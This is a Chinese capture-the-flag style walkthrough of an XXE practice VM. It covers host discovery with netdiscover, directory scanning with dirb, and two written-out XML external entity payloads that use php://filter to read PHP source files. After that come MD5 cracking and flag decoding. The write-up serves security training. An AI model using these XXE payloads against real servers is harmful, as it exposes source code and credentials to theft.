xxe靶场

1.在 kali 虚拟机中使用命令 ifconfig,获取主机 ip

2.使用 kali 自带的 netdiscover, 扫描本网段除 kali 的 ip 之外存活的 ip 就是 xxe 靶机的 ip.

netdiscover -i eth0 -r 192.x.x.0/24    //root执行

3.使用火狐浏览器访问目标 web 主机 80 端口

4.用 kali 自带的 dirb,扫描一下网站目录.

drib http://192.x.x.x

5.用浏览器打开 http://192.x.x.x/robots.txt 查看一下这个文件,可以看到哪些文件是可以被查看的

6.发现有一个/XXE 目录,打开登录并抓包.

7.先读取一下xxe.php文件

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>&sp;</name><password>hj</password></root>

然后进行base64解码,发现没有什么用,这是我们可以想到robots.txt文件中有一个admin.php文件,尝试读取一下他的内容

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

8.解码

发现有账号密码,但是密码用MD5进行了加密,解密

9.登录

发现账号和密码错误,这是因为我们获取的是xxe目录下的admin.php,所以应该在这个目录下登录

需要读取一下这个flag文件中的内容

解码

这串代码也是进行了加密,我们再进行解密

再解码

读取一下,解码新建一个php文件将代码写进去,访问

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值